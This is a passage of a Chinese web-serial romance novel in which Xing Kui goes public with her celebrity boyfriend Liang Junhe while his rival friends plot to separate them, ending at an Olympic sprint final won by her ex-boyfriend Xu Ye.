姑奶奶说完,一群人安慰起她,什么“别瞎说,你能活到一百岁”、什么“葵葵不会让你失望”等等,四婶面上藏不住的恶意。 余光瞥见梁君赫和江玉鸣站在一处,邢葵一只手别到背后,含笑道:“姑奶奶,人心宽就能长寿,您儿子儿媳个个孝顺,你肯定长命百岁。” 姑奶奶神色不自然起来。 邢葵就当看不懂,长辈家里乱七八糟的事,她一个小辈怎么知道呢,她不知道。 四婶狡狯:“就是啊!葵葵也孝顺,你今年绝对能吃到喜糖!” “哟,想吃喜糖去店里批发啊。”傲慢的声音插-进众人交流,收到邢葵暗示的梁君赫出现。 邢葵克制住笑,攻击人伤不到她母亲的战斗机来了。 “跟小辈要糖也不害臊。”梁君赫啧了声,“还是你儿子儿媳平常不给你钱,你买不起啊?” “别乱讲。”邢葵佯怒,“姑奶奶就是为我好,她儿子儿子可孝顺了,是吧,美月婶婶?” 姑奶奶儿媳就在边上,几乎挂不住笑:“是的是的。” “他不了解情况,误会了,对不住啊,你们不会跟小辈计较吧?” “当然。” “当然。” 一个个爱摆长辈架子的,都快咬牙切齿,又竭尽全力地不表现异样,遮掩自家腌臜。 邢葵一副唯恐触怒长辈的担忧样,给出最后一击:“我家里有糖,我去给姑奶奶抓一把啊。” 四婶的蛀牙都要咬碎,梁君赫让她心脏绞痛,脾气差是真的,有钱又护着邢葵也是真的。 另外一个也是听着光荣的医生,刚还看出她有好几颗蛀牙、肝郁克脾,建议她去医院挂口腔科和中医内科。 每一个都比她儿子有出息。 儿子打来电话,四婶走出大棚,电话里的儿子道:“喂,妈,今天快递多,晚上邢葵家里的酒我就不去吃了。” 她儿子在快递站干分拣。 手机传输着丢快递声,像小锤子,一下又一下地往四婶的心上敲。 “废物!怎么不见你给我傍哪怕一个有钱儿媳妇!” 儿子呆了呆:“妈,瞧你说的,也得我能遇到富婆啊。” “也得富婆能看得上你啊!废物!” “我猜我们联手把那几个人气死了。”客厅角落,梁君赫得意地向邢葵邀功,“哎呀,和葵葵交往后骂起人来更有劲了。” 江玉鸣靠着墙边,眼皮跳了又跳,忍耐他无时无刻的显摆。 梁君赫斜眼瞄他,“有些人都避我锋芒,没跟我一起帮你呢。” 江玉鸣睁眼,眼神如刀:“你俩关系迟早要公开,我是在避她亲戚乱传三人行。” 梁君赫明知故炫:“哦,你失去了和邢葵并排站的资格啊。” 邢葵悄悄地挪脚,再悄悄地挪脚,后衣领忽地被梁君赫拽住。 “葵葵,我听说晚上的酒席能唱歌,我打算献唱一首《刻骨不渝》。” 醉酒那晚,邢葵在江玉鸣的歌声中安然入眠,即使后来梁君赫耍花招又给邢葵复唱一次、还得到了她竖大拇指,他依旧妒忌不止。 今时不同往日,他是正宫。 梁君赫睨向江玉鸣,他的表哥,嘴角上扬起志得意满的笑弧。 邢葵只觉,梁君赫头顶伴随着恢弘的交响乐,缓缓降临了“正宫”两个字,字体方正巨大,金光快闪瞎她的眼球。 他肩头披的阳光转成夜色,夜幕洒着金色星星,二十桌宾朋满座,梁君赫手持话筒,身为大明星,不嫌场地小,不嫌献唱低级,启唇。 清亮的歌声中,耀眼的梁君赫望着邢葵方向,双眸沐满甜美的笑意。 至于看到江玉鸣,则立即转为张扬的挑衅。 好似在说:江玉鸣唱这首歌更得邢葵钟意又如何,最终得了邢葵钟意的赢家是他。 好似在说:哥,弟弟我会给你寄一箱面纸,尽情哭吧! 音乐奏到最高-潮,江玉鸣盯着不远处拿着话筒耀武扬威的好兄弟,美艳的脸一半显于光中一半隐在黑暗,极轻极慢地笑了下。 餐桌下面,他褶皱清晰的长指捏着手机,发起群聊,拉入“灰金色椭圆镜”头像、“操场跑道”头像。 【 我想有必要告知你们。】 【梁君赫说,他要和邢葵亲七千次。】 第96章 饭桌上,邢母也替邢葵挡了几次攻击,女儿有了男朋友,她面对亲戚们硬气许多,不再和他们统一战线。 虽然这是畸形的,但已是迄今最和乐融融的状态。 梁君赫唱得很嗨,即便目中只有邢葵和情敌江玉鸣,半点没将其他人当回事,不妨碍一个个为他叫好鼓掌。 “哎哟,葵葵,大明星唱一首歌不少钱的吧?” “嗯,可能几十万几百万。” “哎哟,咱们今晚跟葵葵沾光了呀!” 四周氛围就如夜空星星,璀璨生辉,一切欣欣向荣,邢葵拿着手机给梁君赫录视频。 “葵葵在干什么?” 江玉鸣夹了一块烤羊排放到邢葵碗里,当着梁君赫的面不紧不慢抢夺她的关注,在唱歌的少爷眼睛都瞪圆了。 “梁君赫要求我录下来,以后反复欣赏。” 梁少爷就是那种性格,邢葵拿他没办法地笑了笑。 可她怎么会真拿梁君赫没办法,就是纵容他。 江玉鸣慢悠悠的,将一盘总共十块烤羊排分得只剩一块,并将最后一块放到他自己碗里。 “他可真会麻烦你。” 别以为她看不出来没分羊排给梁君赫啊! “那葵葵,这里事了,你接下来要做什么?” 邢葵回答:“我想好了,先去和梁君赫那方开个会,商讨官宣事宜。 我妈那边,我说了三年期限,暂时没问题,走一步看一步,接下来,我会专注经营自媒体。” 她没忘记她放弃了原工作选了自媒体,她会为她的选择负责任。 她也没忘记最开始为什么决定做自媒体,是想记录生活。 而想记录生活的原因是—— 人生无常,她不想她有一天死去,人们提起她,只会说一句:“可惜了,她还没结婚。” 无论未来结不结婚,邢葵都不想人们提及她的话题仅限于此。 “今天发生了挺多事,王半瞎、高中回忆……够我更新好几天了,回去我就整理整理。” 邢葵如释重负地笑,夹起羊排。 “你呢?回去也会按部就班地工作吧。”别像许野那时候百计千方地离间他俩啊,“我刚瞧见你在看手机,是医院找你吗?” 据说江玉鸣是辉德骨科的顶梁柱。 “没有。”江玉鸣将手机翻到反面,“心情不好,找几个兄弟聊聊天。” 就快要咬到羊排,邢葵顿住,唇颤了颤,讪笑:“你聊吧你聊吧。” 咬了口羊排,邢葵默声咀嚼,直到吞咽下,盯着铺一次性桌布的桌面,声音细如蚊蝇。 “其实啊,江医生,你可以试着放下我……” “那可不成。”江玉鸣手撑住下巴,“我超守男德。” 邢葵噎了噎,低头喝饮料,江玉鸣眸子弯成月牙,夹了块拍黄瓜到她碗里。 “我祝你们,就像这道拍黄瓜,尽快一拍两散。” “…….” 一只手突然插到他俩之间,唱完歌回归的梁君赫夹起一块肺片,盖住黄瓜。 继而,他俯身,以只有三人能听见的音量道:“葵葵,吃了这块夫妻肺片,咱们夫妻同心,气死小三!” 饮料都呛到邢葵嗓子,江玉鸣却还能稳如泰山,弯着眼睛从容地夹高他碗中羊排。 “低级,你哥我会被这种手段气到吗?” 夜幕星罗密布,大棚外,邻里种植的四季豆在冷风中晃荡,老旧的路灯上,小飞虫三俩成队地扑向昏黄的灯泡。 江宅隐藏上锁的小房间内,灯泡也如老路灯,散发暗黄的光,照着一张张照片。 刺啦、刺啦、刺啦。 江玉鸣站在桌前,眼眸半眯,灯光照得他瞳孔诡谲异色,唇瓣红艳,手执一把锋利的手术刀。 不断地划,机械地划,像被附加速度,越划越快。 一张梁君赫的照片,先划他叨个不停的嘴,再划他得意狂妄的脸,最后从他的脖颈处断开。 再来一张。 江玉鸣呼吸紧促,艳丽冷戾的模样如同艳鬼,寒森森的刀片对准照片上梁君赫的胃,能吃夫妻肺片的胃。 蓦地,刀片划到江玉鸣指尖,鲜血瞬时涌出。 他眼神沉如夜渊,昳丽地弯唇,用力去掐伤口,让血液一滴一滴染红照片。 有人敲门。 “少爷,你在里面吗?周少爷和许少爷来了,在客厅。”陈妈唤道。 “噢,知道了。”手术刀在江玉鸣手上转了下,他猛地抬起来,扎上照片上梁君赫的嘴。 客厅,佣人被屏退。 江玉鸣拿起茶壶倒了杯茶,指头贴着创口贴,对好兄弟们笑眯眯的,推茶壶:“坐,我父亲的养生茶,你们可得喝一杯,消消火气。” 周镜接过茶壶,沉静地自行斟茶,许野不喝,大步流星径直坐下来。 “我们已经知道梁君赫和葵葵在一起了。”许野道。 “哦?看来梁君赫迫不及待同你们炫耀过了。” “哼。”连他们三人的群名都改成了“都是我手下败将”,从前口口声声不耻当小三小四的是谁啊? 周镜放下茶壶,端起杯盏,轻轻地吹了吹,小酌一口:“亲七千次,他当真这么说的?” 江玉鸣笑:“七千次他未必达得到,不过葵葵跟她母亲讨了三年期限,一年三百六十五天,想来七百次绝不是问题,我的好兄弟,你连五十次都没吧?” 许野讶然:“周哥,你连五十次都没?” 周镜冷眼瞄向江玉鸣:“我想他比我还少。” 许野抿住唇,回想起他和邢葵交往的过去,脸颊充血。 周镜和江玉鸣同时看向他,动了一下唇,同时低下来喝茶。 “我们几个有什么好比的呢,放任梁君赫不管,他能亲到七百次。”江玉鸣道。 “的确,如今梁君赫上位,我们得商量下之后该怎么办。”周镜道。 许野点点头,这也是江玉鸣拉群的目的,引导邢葵视线投向梁君赫,是许野暗中所为,但他不善阴谋诡计,给过哥哥们不痛快后,还是得听听他们策略。 江玉鸣看了眼许野:“梁君赫对邢葵,比许野更合适,他已经过了她家长那关,他万分得意,就是认为他大概率是正确答案。” 周镜镇定自若,原本他就蛰伏幕后,挑动江梁相争,静待他二人争出结果,自有些想法。 “不一定,许野上位时,我们也觉得他完美不可攻破,可后来如何?我们不能再像那时自乱阵脚,再行拆散。” 江玉鸣认可:“也许梁君赫也是错误解,邢葵一直想解决催婚,当下进度最快,时间会做出判断,我们不可主动去破坏她的目标。” 许野听明白地点了几下头。 “但——”周镜话锋一转,“终究不确定这个时间是一天,还是三年,也不能由着梁君赫,得到太多。” 江玉鸣指尖在茶杯壁上蹭了蹭:“毕竟周哥连五十次都没。” 周镜睨他一眼:“毕竟江弟次数还没我多。” 许野打小就真诚:“虽然我比你俩加起来都多,但真让梁哥发展三年,他会比我们仨加起来都多。” 那怎么办呢? 江玉鸣漫不经心地喝茶:“给他俩各自找些事做吧,让他们相隔两地,聚少离多,自然亲得少。” 周镜敏慧:“不错,梁君赫好办,我会设法给他安排不在京江的工作。” 江玉鸣聪悟:“葵葵之前在怀疑厉乘川,还托我找侦探,我会让她继续去怀疑。” 许野忠厚:“那我呢?” 周镜:“你安心比赛。” 江玉鸣:“这里有哥哥们。” 两人各自提杯,隔空相敬。 真当他们对许野当前次数最多无动于衷?支开,去跑你的步。 许野眉头皱起看了看两位哥哥,他还真有比赛,且要好好打。 他不蠢,压在他身上的是永不可 消的年龄差距,比谁都具有劣势。 可如果他能跑到奥运会为国争光,如果他能跑到全国上下皆知,或许他也能凭借荣耀盖住年龄差。 一桌三兄弟,个个心里藏有小心思。 周镜看向江玉鸣:“不过你要注意,别过了度,让邢葵发觉她的失忆。” 他的手机忽然响起,周镜接起来,听了听,“好,放门口。”挂掉电话,“一个快递,继续。” 江玉鸣回复他的话:“我有数,最终还是要让她消除对厉乘川的怀疑。” 周镜:“也不能让邢葵喜欢上厉乘川,他的整体形象在邢葵父母那里极为优秀,别到头来反给我们树一位劲敌。” 又有来电铃声,许野翻口袋:“喂,妈,快递?哦,放我房里吧。” “当然,那咱们三人日后就是盟友了,群名要取成什么?”江玉鸣点开手机。 “不能默认吗?”周镜问。 “我不擅长取名。”许野道。 “那就交给你了!”江玉鸣伸手,拍了拍许野肩膀,“你没额外的事,就接下这个重任吧,我把群主转给你。” 客厅的门被敲响。 “少爷,你有一个快递。”陈妈喊道,身后的佣人拉着小推车,车上放了一只至少二十寸长的大纸箱。 江玉鸣、周镜、许野相继拧起眉宇,纸箱上印着某纸巾品牌的logo。 而同样的一箱纸巾也被送到了厉乘川家门口。 回到家的厉乘川感到莫名,他没接快递员电话,更没买面纸,纸箱上贴的标签上收件人又确实是他。 进家门一趟,厉乘川戴着口罩,带着酒精喷雾出来,严谨地喷了几遍,关门,过一刻钟后,他再次打开门。 弯腰,用美工刀划开封箱胶带。 近段时间,厉乘川基本都在外工作,一个月前,江玉鸣提醒他说,邢葵怀疑他到要请侦探,他得减少下出现在邢葵面前的次数。 多亏江玉鸣还是他好兄弟,一个月过去,猜想邢葵对他的怀疑减弱,厉乘川才打道回府。 但谁给他寄了箱梁君赫代言的面纸? 拆开的箱子中,一包包抽纸上皆印有梁君赫照片,厉乘川止不住地锁眉头。 “哇哦,老厉拆快递呢?”电梯方向,江玉鸣笑容满面地走过来,走到纸箱前,“真不愧有洁癖,买这么多面纸。” 厉乘川还皱着眉:“不是我买的,估计是梁君赫寄的。” 江玉鸣随意踢了下箱子:“那我表弟也太不够意思了!怎么不送我一箱?” 厉乘川眼皮莫名其妙地跳:“你来干什么?” “我来看好戏啊,哦不。”江玉鸣捂住嘴,眼里满满笑意,整个人轻挑浪荡。 厉乘川眼皮跳得更厉害,总觉这箱面纸不代表什么好事:“到底来干什么?” 江玉鸣耸肩:“好吧,老厉,我来坦白,最近许野将我和周镜拉进一个群,说是要对付情敌……你看。” 群名:铁杆兄弟。 第97章 “铁杆兄弟”,四个字如今看来十分讽刺。 在追老婆这条路上,厉乘川已被好兄弟捷足先登两回,盯着群名,经验丰富的他薄唇微抬,冷笑一下。 “对付情敌,我?” “不只是你。”江玉鸣收回手机,“还有梁君赫。” 但凡厉乘川上滑聊天记录,就能抓到江玉鸣才是原群主。 如此危险的行为,江玉鸣神色自若,痞气带笑,就像在聊别人的八卦,连收回手机的动作都不疾不徐。 “梁君赫……”厉乘川低下英俊的脸,快递箱里梁君赫的面瘫代言照铺了几行几列,每一张照片都在诉说同一个恐怖故事。 感觉照片上梁君赫的嘴弯起来。 厉乘川唇角紧紧抿成一条线,鞋停在纸箱旁边,优越的喉结上下滚动两下。 “他追到邢葵了。” 他猜到答案。 “寄面纸来炫耀和嘲笑,想必不止我,周镜许野也都收到了面纸。” 江玉鸣惊讶地笑:“居然是这样,小梁不负众望啊!” 厉乘川皱眉,矜贵的脸遍布寒霜地对着江玉鸣。 “别这么看我,网上真很多人盼望他和邢葵在一起……好吧好吧,我不逗你,老厉,怪冷静的呀?” 周镜那会儿,厉乘川拜托周镜照顾邢葵,周镜照顾到床上,他气得开车撞他。 许野那会儿,厉乘川警告许野远离邢葵,许野贴近到拥抱,他当着邢葵的面就给了他一拳。 此一时彼一时,厉乘川已是经历过两遍大风大浪的人:“如果你也跟我一样,被撬两遍墙角,你也能冷静。” 是吗?那假如厉乘川得知江玉鸣也是情敌,还贯穿周镜、许野、梁君赫的故事,他还能够稳定吗? 走廊的光映照江玉鸣眉眼,他笑盈盈竖起大拇指:“了不起。” “再说,我本就知晓梁君赫在追她,离开这一个月,他追成功也在我预计之内。” 是吗?那假如江梁相争,赢的是江,也在厉乘川预计之内吗? 江玉鸣笑嘻嘻的,捶了下厉乘川的肩,哥俩好的样子。 “老厉,别跟弟弟装,其实你心里要气疯了吧?” 厉乘川侧肩:“我没多加阻拦,是因为邢葵在怀疑我,借梁君赫让她转移下注意力也好。” “哟,说得像你拦了梁君赫就不能成功似的。” “江玉鸣,你站哪边的?”厉乘川声音冷得像淬了冰,阳光照着他宽肩长腿,他依然透着刺骨的寒,黑色西服宛如悼衣,幽峭泠然。 黑眸盯着从容的江玉鸣,厉总若有所思,“为什么许野拉群会拉你?” 江玉鸣脸色没有半分变化,厉乘川被撬墙角,他作为厉乘川眼里的局外人,就该如此。 “我站热闹那边啊。许野信任兄长我,觉得依我性子,兴许能为他提供助力以制造好戏,但,我转过头再告诉你,更有趣不是么?” 这的确是江玉鸣作风。 “老厉,你不会是风声鹤唳了吧?” 江玉鸣眯起眼睛质问,在厉乘川存在感极强的视线中,毫不心虚,身姿笔直,好像他真是厉乘川铁杆兄弟。 厉乘川顿了下,无声叹了叹:“确有些草木皆兵,你已认识邢葵超过一年,要对邢葵有别的心思早有了。” 说中了哦,江玉鸣在内心道。 “所以许野拉群后做了什么,你来应该不止跟我说拉群吧?想看什么好戏?” 当然,江玉鸣笑靥如花。 “他在群里没说多少,你知许野性格,周镜比他更有城府,我猜测他俩私下开过小会,在群里透露出的意思,大概是要让邢葵继续怀疑你,减少她和梁君赫相处的时间。” “一石二鸟,好算计。” “对,真聪明,啊,真阴险。” 厉乘川看着一箱面纸沉思:“可以,他出手终究会消掉邢葵对我的怀疑,没有危险的怀疑,还能增加邢葵与我接触的机会。” 想多了哦,江玉鸣笑笑:“那你是准备利用这件事?” “嗯,不过周镜定也想渔翁得利,不能让他一帆风顺地去做。” 这就是厉乘川会给周镜添堵的意思。 “周镜工于心计,未必信你,但所言多少藏 有真实信息,辛苦,往后在群里还有他事告诉我。” 江玉鸣随意地耸肩:“那不一定,也许有的事不告诉你更好玩。” 厉乘川安静几秒,洁癖男艰难地抬起手,落在江玉鸣肩膀上方,纠结许久,落上去拍了拍。 “信我,告诉我更好玩。” 睨了眼落在肩头的手掌,江玉鸣拉开笑容,现下已经很好玩了。 他又何尝不清楚周镜远谋深算,表面上和他、许野合作,背地必定会争做事件最终得利者。 而如今,江玉鸣对付厉乘川,厉乘川对付周镜,周镜对付梁君赫。 听上去,谁是食物链最顶端那一位? 嘶啦,灵潮娱乐会议室,梁君赫抽了张面纸,递给在吃蛋糕的邢葵。 “噎死了。”邢葵拿着小叉子和年轮蛋糕作斗争,刚刚这间会议室内,在就她跟梁君赫的官宣事宜开会。 各方商量完毕,二人不想五一出去玩被拍到再宣布的话,尽快官宣。 官宣文案该由专人代写,但邢葵讲了讲她的想法,梁昭然兰姐他们都表示了认可。 会在明日下午一点三十九分发布,对应以前梁君赫公开说要追她的时间点。 “葵葵吃不下我来吧,年轮蛋糕象征圆满长久,我来全吃完,一点渣滓都不剩!” 他的经纪人王姐在桌边嘴巴张得能放鸡蛋,活久见,眼朝天的祖宗真能转性。 “怎么我近期的行程都在国外?”梁君赫点开王姐递给他平板,边吃蛋糕边看行程表,眉头一皱又一皱,“取消掉!都取消掉!” “别跟钱过不去呀。”邢葵扫了一眼。 “老婆你说得对!”梁君赫当即变脸,速度令王姐叹为观止。 他又盯看行程,“不错,能挣不少钱。” 不继承梁家,论个人财产,梁君赫比不过周镜厉乘川江玉鸣,是得多多赚钱。 梁君赫兀地翘起嘴角,嗤笑了下:“一看就是我哪位兄弟的手笔,好遗憾,没见到他们收到面纸的表情。” 不知是压抑,还是爆发。 邢葵正在用面纸擦嘴,闻言瞧了眼纸巾,移动视线,望向桌上的抽纸,上面是梁君赫的照片。 不会吧,他不会将他代言的面纸,寄给江玉鸣他们了吧? 邢葵快速低下头,当听不懂。 梁君赫却黏糊糊地抱住她的手臂,精致的脸蛋蹭她脖颈:“葵葵,他们好小气哦,我好心送他们面纸,让他们好好哭,竟不领情,还反过来算计我!” 这下,王姐嘴张得能装大鹅蛋了,她甚至擦了好几回眼睛,低声自念:“幻觉,都是幻觉。” 邢葵不由地笑,抬手揉揉梁君赫的粉头发:“谁让你欠的,他们不将你套麻袋揍一顿,都得感谢现今是法治社会。” 梁君赫仰颈,享受被她摸头:“我会想办法,让葵葵和我行程重叠。” “尽力吧,实在重不了也没法子,我们各自都有工作。” 适才会议中,兰姐提过,一旦邢葵和梁君赫官宣,她的热度将再一次大幅攀升,她要做好抓住热度的准备。 她想梁君赫能理解,蹭她脖子的人撇眼,王姐接收到暗示溜走,他转头将他白如雪的手指穿进她的指缝间,头仰起来,热乎乎贴到她脸颊。 撒娇似的,梁君赫咬了下她的脸。 “都听葵葵的,聚少离多也行,那葵葵,得珍惜相聚的时光,你今晚能不能别离开凤田?” 如此粘人,想干什么不言而喻,邢葵耳朵发热:“你真都听我的?” 梁君赫蹭蹭她的脸颊:“假的,怎么,我不如许野听话,你就不要我了?” 邢葵脸红小声:“梁少爷,我们才交往没几天。” 梁君赫点点头:“就是,可恶,兄弟们居然都想害我了,真不将我们兄弟情谊放在眼里!什么人啊,葵葵,快心疼我。” 他抓起她的手指贴到他锁-骨,等坐在他公寓的床上,他将她的手再往下移。 隔着一层薄衣,掌心按到纽扣,梁君赫等待许久,纵使交往才几日,但他们的褪黑素交易已持续多时。 邢葵喉咙泛干,白天吃的年轮蛋糕太噎人,养尊处优长大的梁少爷却香甜美味,向她散发诱惑。 他皮肤很白,纽扣很粉,她曾看过少爷演的电视剧,锁-骨下方两寸处,有一颗黑色小痣,如拿写小楷的尖细毛笔,沾了一丁点儿墨,点了一点。 此时此刻邢葵证明,不是化妆师化的,也不是特效师加的,它在热气中不会融化。 梁君赫翻身,来咬她。 邢葵瞥到床头放的桃花、桃花手串……一系列招桃花物品,光照着它们,慢慢地有重影。 梁君赫做事不遵规矩,一会儿亲一会儿咬,这里、那里,上面、下面,一点也不按正常顺序。 他像是好奇宝宝,又像是骄横大少。 这一回,于他,不再是黄粱梦境。 海市蜃楼化为实景,梦里的触碰、喊叫、渴望,云云雾雾,闯进现实,化作旖旎秀色。 梁君赫起身,炽热的手掌覆上邢葵的腰,恍恍惚惚地,邢葵听见他自吹自擂,说他是粉色的,什么什么什么…… 忽地想起一件事,邢葵连忙摁住梁君赫的肩,他的眼眸水灵灵的,潋滟要动情的艳色。 “我想起来,之前吃饭时,周镜和许野跟我说过,他们跟我交往后,厉乘川都将他们踢出了兄弟群,你不会也被踢吧?” 短暂的茫然后,梁君赫往她唇瓣落下不稳的呼吸。 邢葵以为他要说他不在乎,然而梁君赫语气骄傲,说的是—— “他还想踢我?我是群主。” 第二日下午,一点三十九分,邢葵和梁君赫的微博同时更新。 梁君赫v:加入@天天奇妙历险。 天天奇妙历险v:欢迎加入@梁君赫。 【嗑到了!!!救命我现在血糖99.9!!!】 【恭喜梁少爷得偿所愿!不可一世梁少爷甘被折下,甜死我了!】 【已经期待天天更新恋爱故事了,还有人没关注天天吗?指路……】 网络总体风向是支持,而梁君赫的兄弟们可就全部相反。 厉乘川冷着脸放下手机,处理文件去搞周镜;许野下撇嘴角放下手机,投入紧张的训练。 周镜则在律所内看着递给他的、要他出国的案子,凝想,过了会儿轻笑,摘下眼镜,拿出眼镜布擦拭。 鹬蚌相争,渔翁得利,个个兄弟都想当渔翁。 长辈们也各有想法:邢葵家长开心不已,电话接个不停也打个不停。 “哎哟,是真的,我女儿跟大明星交往了!” 谢成雯刚谈成一笔生意,收到提醒,微博特别关注更新,点开来,指尖在桌面轻敲。 亲爱的儿子,可得在奥运跑出成绩,去给我抢儿媳妇啊。 梁父则拜访了江父,阴阳怪气:“哎呀,怎么是我儿子赢了,我不想他赢的,哎!” 江父面色铁青,手抓着扶手,气得讲不出一个字。 梁父还火上浇油,“养生茶今儿我就不喝了,老朋友,你多喝喝。” 砰地一声,江父踹开江玉鸣房间的门,火冒三丈:“人呢?你连梁君赫那废物都比不过!” 小房间内,厉乘川、周镜、许野、梁君赫,四个人的照片相邻排列。 江玉鸣拿着尖利的小刀,从左边人的脖颈,划到最右边人的脖颈。 别急啊父亲,要当渔翁,首先得有耐心。 四月末,邢葵和梁君赫官宣,热搜多日,此后迎来事业上的飞速发展。 网络言论种种,邢葵想到梁君赫过往黑料,什么隐婚、有子诸如此类,以防那些会成为分手缘由,急忙电联邢母。 邢母回复:“放心,网上都能把我那么好的女儿说成那样,说女婿的话妈不会信的。” 五月,江玉鸣送来侦探的调查结果,内含不合理之处,邢葵默默开始搜集整理素材,打算做一个挖掘病友&邻居&老板专题。 好房东着实有太多奇怪地方,邢葵越接触越心惊,不敢再住厉乘川租给她的房子,搬进凤田市梁君赫公寓。 梁君赫满世界飞地工作,大部分时候都不在家,约等于她还是一个人住。 六月,梁君赫听人家说,中老年人会觉得他发色非主流,染黑了头发。 委委屈屈亲了邢葵十几下,说什么:老婆,他招桃花的粉发没了,葵葵要牢牢抓住他的手不能松。 七月,随着邢葵的账号蒸蒸日上,黑粉数量逐渐增多,邢母平常会在某抖发她跳广场舞的视频,她怕黑粉骚扰到邢母,恳求邢母千万别暴露两人的关系。 兆光文化招收新员工,挖角了曾经在《十万问》综艺帮助过邢葵的小嘉pd。 与此同时,江玉鸣给出第二份更详细的调查结果,与邢葵自己的调查一合,竟消除了厉乘川的疑点。 还真是巧合,厉乘川真有神经痛 才会成为她的病友,也是真要在青萍区投资才租到她附近的房,只是后来他选中茉河区建度假村,才未继续去青萍区。 至于赞助《十万问》,鼎天并非第一次赞助综艺,事实上知名的综艺节目中都有鼎天旗下品牌的身影,是邢葵多疑了。 一晃,时间来到八月,天气正热,人声鼎沸。 邢葵活了二十九年没想过,有朝一日她会坐在奥运会的观众席,亲眼看运动员们为国争光。 全副武装的梁君赫坐她旁边,在热火朝天中,嫉妒得火苗熊熊:“该死的许野,露什么肌肉,别看他!回去看我看个够!” 第98章 环形的观众席宛如被泼了百种颜料的浪,能容纳数万人的国家级体育场内,观众密密匝匝遍布阶梯,千差万别的面孔,五颜六色的旗帜…… 邢葵在为账号拍素材,推了下梁君赫凑近的脑袋:“你别太离谱,许野哪是故意秀肌肉,比赛你总不能让他穿长裤。” 多少空调都降不下人们的热情,今日是男子一百米决赛,数个国家的运动员正走向赛道。 奥运会大大小小的明星网红都要蹭热度,最近她跟梁君赫行程重叠。 自许野入场起,梁君赫说话就酸溜溜的,像吃了一颗爆炸酸的糖。 “瞧那大肌肉,噫,多看一眼就腻了,真不如我,葵葵摸。” 手掌按到梁君赫大腿,邢葵呼吸一滞,赶快抽回来:“干什么,被拍到小心被乱写。” “不会的,我穿着长裤,记者猜不到我这么不要脸。” “……”你……邢葵没话说了,梁君赫其实非常要脸,说完大胆的话面红耳赤,还抬着下巴装不害臊。 小拇指勾住她的小拇指,撒娇一样晃。 邢葵忍不住笑,拿出面纸擦了擦他额角热汗,又摸了把他为她染黑的头发。 交往四个月,两人同城的日子不算多,因此每一次梁君赫都像糯米,恨不得和邢葵黏一起。 他对看比赛没兴趣,只想看她,墨镜后的桃花眼忽地一眯,梁君赫转头。 “要开始了,专心点。”邢葵道。 梁君赫盯着后排方向,数秒后转回头:“好的葵葵!” 此时此刻,体育场观众席倒数第二排,三人侧弓腰,最左边周镜,中间厉乘川,右边厉乘川助理陈泉。 哎哟喂我的老腰,陈泉心里呐喊,重度洁癖还要来这种几万人呼吸同一空间空气的场合。 他按着腰坐正:“厉总,可以了。” 让他和周镜占据左右有何用,戴N95口罩有何用,陈泉心想,厉总就算全程不呼吸,回去也定要全身大检查、全身衣物大换新。 邢姐,了不起啊,威胁到厉乘川生命,他都不会破这样的例,居然能为邢姐破。 厉乘川和周镜相继坐正,二人都见到了邢葵和梁君赫刚刚的相处,神容都显得冷冽。 四个月来,由于兄弟作梗,厉周两人没见过邢葵几面,自不会错过奥运机会。 即使对梁君赫的行程多加干涉,他还是得到了不少,谁让邢葵宠他。 勾邢葵小拇指的动作,如此亲昵,亲昵到让人真想砍掉。 一声枪响,男子一百米决赛开始,数万人皆数看向跑道,就在这时,梁君赫猝地再次转过头。 哎哟我的老腰!厉乘川拽过陈泉,周镜灵敏反应,三人再次下腰。 梁君赫目光紧锁后排,什么都没有,他挑了一下眉,转回去看比赛,手指扯扯口罩,口罩后的唇角弯起来。 “他发现了。”周镜笃定道,他们三是能躲,可到处人满,唯独他们所在处凹陷空人,梁君赫想必一眼就瞧出了不对劲才会看第二次。 厉乘川垂眸认同,梁君赫未必能精准猜中是谁,场馆里也有很多记者和其他圈内人。 只不过,是谁都不影响他秀恩爱,甚至因为有观众看,他秀得更嗨,直接揽住邢葵的肩。 这一瞬间,陈泉感觉身旁坐了两块北极来的冰。 还是赛场上热烘烘,一路打到决赛的八名选手一百米耗时都在十秒内,几个呼吸功夫,他们已闪电般进入最后冲刺。 只要眨一下眼睛,八人或许就都跑过终点。 全场屏住呼吸,成千上万观众眼一移不移,冠亚季军,可能就零点零几秒的差距,哪怕第一名和第八名,可能也就相差零点一秒。 全亚洲都盯着许野,天生身材、地理环境种种因素,导致亚洲人极少打进奥运短跑决赛,他能打进,很不容易。 人们对他寄予厚望,若能不负众望,必将迎来辉煌。 另一边观众席,谢成雯紧张得都站了起来,数不清的人也同时站起,甚至没意识到自身站起地站起。 八位选手唰地一下迈过终点线! 邢葵跳起来,脱离梁君赫环抱,他咬了下牙,手臂顺势改为揽她的腰,气哼哼地瞪向赛场。 最后那五六米,肉眼都能看出有个人快于其他人,冠军,许野! 播报声响起,许野男子100米9秒78。欢呼声犹如沙漠狂风铺天盖地,摘下王冠的人呵着气,被六七名体育记者包围拍摄。 许野转过身看向终点,汗水在他宽阔的肩膀亮晶晶,多少日努力、多少场比赛积累,才拿到进奥运的资格,这是他儿时的梦想。 后来与邢葵结缘,他的梦想更具现化。 他终于得到一枚,邢葵家人认识的金牌。 许野转动脚步看观众席,不知道邢葵坐在哪里,但他清楚,她在。 观众席大片大片的人喜极而泣,邢葵颇受感染,许野,辛苦了。 她叹息一声,梁君赫立马注意到,凑过来,拉下墨镜盯着她:“老婆,你可不能因为他跑第一就入迷!” 邢葵瞪他一下:“才没有!就是有点感慨。” 梁君赫:“感慨什么?” 邢葵感叹:“要是我那时候再等等,熬到今天,再带许野见家长,也许情况会大不同吧。” 奥运会结束后全国上下都会知道许野名姓,到那时,亲戚们再如何蛐蛐他和她的年龄差距,都不会当面,且真实的内心必然充满嫉妒。 “但你不可能等,对去年的你来说,许野第二年能不能成功是未知的,而你将虚岁三十,将被更恐怖地催婚是已知的。” “对,所以只是感触,不是后悔呀,你急什么。” “我小心眼!”梁君赫得意地表示,“再说,和他分手是命运要送给你更好的人,我粉粉的,不比他个黑皮好看?” 邢葵挪了挪,你们兄弟,真都有在背后说兄弟坏话的爱好:“你还记得以前你溜出节目组,是许野收留你吗?” 梁君赫昂头:“不记得了。” 上翘的眼角余光投向赛道上许野,这段时间,他看出厉乘川、周镜、江玉鸣都有出手,倒是忽视了许野。 他这位憨直纯真的弟弟,原来也有他的小心思,若不是邢葵跟他提,他都没察觉到。 用无上荣耀压住不可逆的年龄差,一旦邢葵再次进入空窗期,许野,将再次成为完美的解决催婚问题的对象。 男子100米后,接下来几日许野还要比男子组的200米和4×100接力,邢葵都 要拍素材。 救命恩人兼前男友肌肉男,摇身一变奥运冠军,其素材无疑能绘出一段精彩的奇妙历险。 